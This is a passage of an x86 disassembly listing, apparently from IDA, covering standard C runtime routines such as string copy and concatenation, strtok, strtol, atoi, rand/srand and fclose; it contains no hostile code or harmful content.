		mov	eax, [edi-4]
		test	al, al
		jz	short loc_429A48
		test	ah, ah
		jz	short loc_429A43
		test	eax, 0FF0000h
		jz	short loc_429A3E
		test	eax, 0FF000000h
		jnz	short loc_429A0A


loc_429A3B:				; CODE XREF: sub_4299E0+20j
		dec	edi
		jmp	short loc_429A4B
; ---------------------------------------------------------------------------


loc_429A3E:				; CODE XREF: sub_4299E0+52j
		sub	edi, 2
		jmp	short loc_429A4B
; ---------------------------------------------------------------------------


loc_429A43:				; CODE XREF: sub_4299E0+4Bj
		sub	edi, 3
		jmp	short loc_429A4B
; ---------------------------------------------------------------------------


loc_429A48:				; CODE XREF: sub_4299E0+47j
		sub	edi, 4


loc_429A4B:				; CODE XREF: sub_4299E0+5Cj
					; sub_4299E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_429A60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_429AAC
		jmp	short loc_429A7C
; ---------------------------------------------------------------------------


loc_429A60:				; CODE XREF: sub_4299E0+75j
					; sub_4299E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_429A9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_429A90
		test	esi, 3
		jnz	short loc_429A60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_429AAC


loc_429A7C:				; CODE XREF: sub_4299E0+7Ej
					; sub_4299E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_429A90


loc_429A83:				; CODE XREF: sub_4299E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_429A92
		dec	ecx
		jnz	short loc_429A83


loc_429A90:				; CODE XREF: sub_4299E0+8Bj
					; sub_4299E0+A1j
		mov	[edi], cl


loc_429A92:				; CODE XREF: sub_4299E0+ABj
		pop	ebx
		pop	esi


loc_429A94:				; CODE XREF: sub_4299E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429A9A:				; CODE XREF: sub_4299E0+85j
					; sub_4299E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429AA4:				; CODE XREF: sub_4299E0+E4j
					; sub_4299E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_429A7C


loc_429AAC:				; CODE XREF: sub_4299E0+7Cj
					; sub_4299E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_429AA4
		test	dl, dl
		jz	short loc_429A9A
		test	dh, dh
		jz	short loc_429AF8
		test	edx, 0FF0000h
		jz	short loc_429AE8
		test	edx, 0FF000000h
		jnz	short loc_429AA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429AE8:				; CODE XREF: sub_4299E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429AF8:				; CODE XREF: sub_4299E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4299E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B03	proc near		; CODE XREF: sub_401990+22p
					; sub_401990+52p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_42DC7D
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_429B43
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_429B50
; ---------------------------------------------------------------------------


loc_429B43:				; CODE XREF: sub_429B03+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_42DB65
		pop	ecx
		pop	ecx


loc_429B50:				; CODE XREF: sub_429B03+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_429B03	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_429B60	proc near		; CODE XREF: sub_401990+8p
					; sub_402CE9+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_429B80


loc_429B6C:				; CODE XREF: sub_429B60+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_429B6C


loc_429B80:				; CODE XREF: sub_429B60+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_429B60	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B8F	proc near		; CODE XREF: sub_401A77+9p
					; sub_401AF0+9p ...

arg_0		= dword	ptr  4

		call	sub_42E4EE
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_429B8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B9C	proc near		; CODE XREF: sub_401A77+Fp
					; sub_401A77+22p ...
		call	sub_42E4EE
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_429B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BBE	proc near		; CODE XREF: sub_401B6E+1F0p
					; sub_401B6E+27Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_42DC7D
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_429BFD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_429C0A
; ---------------------------------------------------------------------------


loc_429BFD:				; CODE XREF: sub_429BBE+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_42DB65
		pop	ecx
		pop	ecx


loc_429C0A:				; CODE XREF: sub_429BBE+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_429BBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_429C0F	proc near		; CODE XREF: sub_401E9E+79p
					; sub_401E9E+89p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_429C23


loc_429C1B:				; CODE XREF: sub_429C0F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_429C1B


loc_429C23:				; CODE XREF: sub_429C0F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_429C28:				; CODE XREF: sub_429C0F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_429C28
		pop	esi
		retn
sub_429C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_429C39	proc near		; CODE XREF: sub_4097B9+373p
					; sub_4097B9+3E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_429C4B:				; CODE XREF: sub_429C39+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_429C5C
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_429C4B
; ---------------------------------------------------------------------------


loc_429C5C:				; CODE XREF: sub_429C39+17j
		pop	esi
		retn
sub_429C39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C5E	proc near		; CODE XREF: sub_401F54+3Ap
					; sub_401F54+53p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		call	sub_42E4EE
		push	8
		mov	[ebp+arg_4], eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20]
		push	7
		rep stosd
		pop	edi


loc_429C7F:				; CODE XREF: sub_429C5E+3Aj
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_429C7F
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_429CA7
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]


loc_429CA7:				; CODE XREF: sub_429C5E+41j
					; sub_429C5E+67j
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_429CC7
		test	al, al
		jz	short loc_429CC7
		inc	edx
		jmp	short loc_429CA7
; ---------------------------------------------------------------------------


loc_429CC7:				; CODE XREF: sub_429C5E+60j
					; sub_429C5E+64j
		mov	ebx, edx


loc_429CC9:				; CODE XREF: sub_429C5E+89j
		mov	al, [edx]
		test	al, al
		jz	short loc_429CED
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_429CE9
		inc	edx
		jmp	short loc_429CC9
; ---------------------------------------------------------------------------


loc_429CE9:				; CODE XREF: sub_429C5E+86j
		and	byte ptr [edx],	0
		inc	edx


loc_429CED:				; CODE XREF: sub_429C5E+6Fj
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_429C5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_429D10	proc near		; CODE XREF: sub_401F54+2Bp
					; sub_4020BA+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_429D93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_429D34
		shr	ecx, 2
		jnz	short loc_429DA1
		jmp	short loc_429D55
; ---------------------------------------------------------------------------


loc_429D34:				; CODE XREF: sub_429D10+1Bj
					; sub_429D10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_429D62
		test	al, al
		jz	short loc_429D6A
		test	esi, 3
		jnz	short loc_429D34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_429DA1


loc_429D50:				; CODE XREF: sub_429D10+8Fj
		and	ebx, 3
		jz	short loc_429D62


loc_429D55:				; CODE XREF: sub_429D10+22j
					; sub_429D10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_429D8E
		dec	ebx
		jnz	short loc_429D55


loc_429D62:				; CODE XREF: sub_429D10+2Bj
					; sub_429D10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429D6A:				; CODE XREF: sub_429D10+2Fj
		test	edi, 3
		jz	short loc_429D84


loc_429D72:				; CODE XREF: sub_429D10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_429E06
		test	edi, 3
		jnz	short loc_429D72


loc_429D84:				; CODE XREF: sub_429D10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_429DF7


loc_429D8B:				; CODE XREF: sub_429D10+7Fj
					; sub_429D10+F4j
		mov	[edi], al
		inc	edi


loc_429D8E:				; CODE XREF: sub_429D10+4Dj
		dec	ebx
		jnz	short loc_429D8B
		pop	ebx
		pop	esi


loc_429D93:				; CODE XREF: sub_429D10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429D99:				; CODE XREF: sub_429D10+A9j
					; sub_429D10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_429D50


loc_429DA1:				; CODE XREF: sub_429D10+20j
					; sub_429D10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_429D99
		test	dl, dl
		jz	short loc_429DEB
		test	dh, dh
		jz	short loc_429DE1
		test	edx, 0FF0000h
		jz	short loc_429DD7
		test	edx, 0FF000000h
		jnz	short loc_429D99
		mov	[edi], edx
		jmp	short loc_429DEF
; ---------------------------------------------------------------------------


loc_429DD7:				; CODE XREF: sub_429D10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_429DEF
; ---------------------------------------------------------------------------


loc_429DE1:				; CODE XREF: sub_429D10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_429DEF
; ---------------------------------------------------------------------------


loc_429DEB:				; CODE XREF: sub_429D10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_429DEF:				; CODE XREF: sub_429D10+C5j
					; sub_429D10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_429E01


loc_429DF7:				; CODE XREF: sub_429D10+79j
		xor	eax, eax


loc_429DF9:				; CODE XREF: sub_429D10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_429DF9


loc_429E01:				; CODE XREF: sub_429D10+E5j
		and	ebx, 3
		jnz	short loc_429D8B


loc_429E06:				; CODE XREF: sub_429D10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_429D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E0E	proc near		; CODE XREF: sub_40222C+43p
					; sub_402CE9+27Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4293A0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_42E5F5
		add	esp, 10h
		leave
		retn
sub_429E0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_429E42	proc near		; CODE XREF: sub_42C70D+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_429E59
		add	esp, 10h
		retn
sub_429E42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E59	proc near		; CODE XREF: sub_429E42+Ep
					; sub_42A05E+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_429E71:				; CODE XREF: sub_429E59+46j
		cmp	dword_4535C4, 1
		jle	short loc_429E89
		movzx	eax, bl
		push	8
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_429E98
; ---------------------------------------------------------------------------


loc_429E89:				; CODE XREF: sub_429E59+1Fj
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_429E98:				; CODE XREF: sub_429E59+2Ej
		test	eax, eax
		jz	short loc_429EA1
		mov	bl, [esi]
		inc	esi
		jmp	short loc_429E71
; ---------------------------------------------------------------------------


loc_429EA1:				; CODE XREF: sub_429E59+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_429EAF
		or	[ebp+arg_C], 2
		jmp	short loc_429EB4
; ---------------------------------------------------------------------------


loc_429EAF:				; CODE XREF: sub_429E59+4Ej
		cmp	bl, 2Bh
		jnz	short loc_429EBA


loc_429EB4:				; CODE XREF: sub_429E59+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_429EBA:				; CODE XREF: sub_429E59+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_42A04E
		cmp	eax, 1
		jz	loc_42A04E
		cmp	eax, 24h
		jg	loc_42A04E
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_429F02
		cmp	bl, 30h
		jz	short loc_429EEC
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_429F1E
; ---------------------------------------------------------------------------


loc_429EEC:				; CODE XREF: sub_429E59+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_429EFF
		cmp	al, 58h
		jz	short loc_429EFF
		mov	[ebp+arg_8], 8
		jmp	short loc_429F1E
; ---------------------------------------------------------------------------


loc_429EFF:				; CODE XREF: sub_429E59+97j
					; sub_429E59+9Bj
		mov	[ebp+arg_8], ecx


loc_429F02:				; CODE XREF: sub_429E59+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_429F1E
		cmp	bl, 30h
		jnz	short loc_429F1E
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_429F16
		cmp	al, 58h
		jnz	short loc_429F1E


loc_429F16:				; CODE XREF: sub_429E59+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_429F1E:				; CODE XREF: sub_429E59+91j
					; sub_429E59+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_429F2E:				; CODE XREF: sub_429E59+16Cj
		cmp	dword_4535C4, 1
		movzx	esi, bl
		jle	short loc_429F46
		push	4
		push	esi
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_429F51
; ---------------------------------------------------------------------------


loc_429F46:				; CODE XREF: sub_429E59+DFj
		mov	eax, off_4533B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_429F51:				; CODE XREF: sub_429E59+EBj
		test	eax, eax
		jz	short loc_429F5D
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_429F8F
; ---------------------------------------------------------------------------


loc_429F5D:				; CODE XREF: sub_429E59+FAj
		cmp	dword_4535C4, 1
		jle	short loc_429F71
		push	edi
		push	esi
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_429F7C
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429E59+10Bj
		mov	eax, off_4533B8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_429F7C:				; CODE XREF: sub_429E59+116j
		test	eax, eax
		jz	short loc_429FCA
		movsx	eax, bl
		push	eax
		call	sub_42C278
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_429F8F:				; CODE XREF: sub_429E59+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_429FCA
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_429FB4
		jnz	short loc_429FAE
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_429FB4


loc_429FAE:				; CODE XREF: sub_429E59+147j
		or	[ebp+arg_C], 4
		jmp	short loc_429FBD
; ---------------------------------------------------------------------------


loc_429FB4:				; CODE XREF: sub_429E59+145j
					; sub_429E59+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_429FBD:				; CODE XREF: sub_429E59+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_429F2E
; ---------------------------------------------------------------------------


loc_429FCA:				; CODE XREF: sub_429E59+125j
					; sub_429E59+139j
		mov	eax, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	ebx, [ebp+arg_4]
		test	al, 8
		jnz	short loc_429FE7
		test	ebx, ebx
		jz	short loc_429FE1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_429FE1:				; CODE XREF: sub_429E59+180j
		and	[ebp+var_8], 0
		jmp	short loc_42A032
; ---------------------------------------------------------------------------


loc_429FE7:				; CODE XREF: sub_429E59+17Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_42A00B
		test	al, 1
		jnz	short loc_42A032
		and	eax, 2
		jz	short loc_42A002
		cmp	[ebp+var_8], 80000000h
		ja	short loc_42A00B


loc_42A002:				; CODE XREF: sub_429E59+19Ej
		test	eax, eax
		jnz	short loc_42A032
		cmp	[ebp+var_8], esi
		jbe	short loc_42A032


loc_42A00B:				; CODE XREF: sub_429E59+195j
					; sub_429E59+1A7j
		call	sub_42F119
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_42A022
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_42A032
; ---------------------------------------------------------------------------


loc_42A022:				; CODE XREF: sub_429E59+1C1j
		mov	eax, [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_8], eax


loc_42A032:				; CODE XREF: sub_429E59+18Cj
					; sub_429E59+199j ...
		test	ebx, ebx
		jz	short loc_42A03B
		mov	eax, [ebp+var_4]
		mov	[ebx], eax


loc_42A03B:				; CODE XREF: sub_429E59+1DBj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_42A049
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_42A049:				; CODE XREF: sub_429E59+1E6j
		mov	eax, [ebp+var_8]
		jmp	short loc_42A059
; ---------------------------------------------------------------------------


loc_42A04E:				; CODE XREF: sub_429E59+66j
					; sub_429E59+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_42A057
		mov	[eax], edi


loc_42A057:				; CODE XREF: sub_429E59+1FAj
		xor	eax, eax


loc_42A059:				; CODE XREF: sub_429E59+1F3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_429E59	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A05E	proc near		; CODE XREF: sub_402CE9+37Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_429E59
		add	esp, 10h
		retn
sub_42A05E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A075	proc near		; CODE XREF: sub_42A100+4p
					; sub_4339B6+1C1p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_42A07D:				; CODE XREF: sub_42A075+34j
		cmp	dword_4535C4, 1
		jle	short loc_42A095
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42A0A4
; ---------------------------------------------------------------------------


loc_42A095:				; CODE XREF: sub_42A075+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4533B8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_42A0A4:				; CODE XREF: sub_42A075+1Ej
		test	eax, eax
		jz	short loc_42A0AB
		inc	edi
		jmp	short loc_42A07D
; ---------------------------------------------------------------------------


loc_42A0AB:				; CODE XREF: sub_42A075+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_42A0BB
		cmp	esi, 2Bh
		jnz	short loc_42A0BF


loc_42A0BB:				; CODE XREF: sub_42A075+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_42A0BF:				; CODE XREF: sub_42A075+44j
		xor	ebx, ebx


loc_42A0C1:				; CODE XREF: sub_42A075+7Bj
		cmp	dword_4535C4, 1
		jle	short loc_42A0D6
		push	4
		push	esi
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42A0E1
; ---------------------------------------------------------------------------


loc_42A0D6:				; CODE XREF: sub_42A075+53j
		mov	eax, off_4533B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_42A0E1:				; CODE XREF: sub_42A075+5Fj
		test	eax, eax
		jz	short loc_42A0F2
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_42A0C1
; ---------------------------------------------------------------------------


loc_42A0F2:				; CODE XREF: sub_42A075+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_42A0FB
		neg	eax


loc_42A0FB:				; CODE XREF: sub_42A075+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42A075	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: sub_402CE9+336p
					; sub_402CE9+344p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_42A075
		pop	ecx
		retn
sub_42A100	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A10B	proc near		; CODE XREF: sub_4032D2+B0p
					; sub_40A9FE+4B46p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_42A120
		and	dword ptr [esi+0Ch], 0
		jmp	short loc_42A137
; ---------------------------------------------------------------------------


loc_42A120:				; CODE XREF: sub_42A10B+Dj
		push	esi
		call	sub_42C1D4
		push	esi
		call	sub_42A13C
		push	esi
		mov	edi, eax
		call	sub_42C226
		add	esp, 0Ch


loc_42A137:				; CODE XREF: sub_42A10B+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42A10B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A13C	proc near		; CODE XREF: sub_42A10B+1Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_42A17F
		push	esi
		call	sub_42F2D9
		push	esi
		mov	edi, eax
		call	sub_42F280
		push	dword ptr [esi+10h]
		call	sub_42F1A0
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_42A16D
		or	edi, 0FFFFFFFFh
		jmp	short loc_42A17F
; ---------------------------------------------------------------------------


loc_42A16D:				; CODE XREF: sub_42A13C+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_42A17F
		push	eax
		call	sub_4298F2
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_42A17F:				; CODE XREF: sub_42A13C+Dj
					; sub_42A13C+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42A13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A188	proc near		; CODE XREF: sub_4032D2+83p
					; .text:0040A3B9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_C]
		call	sub_42C1D4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42A1B7
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_42C226
		add	esp, 18h
		mov	eax, esi
		pop	esi
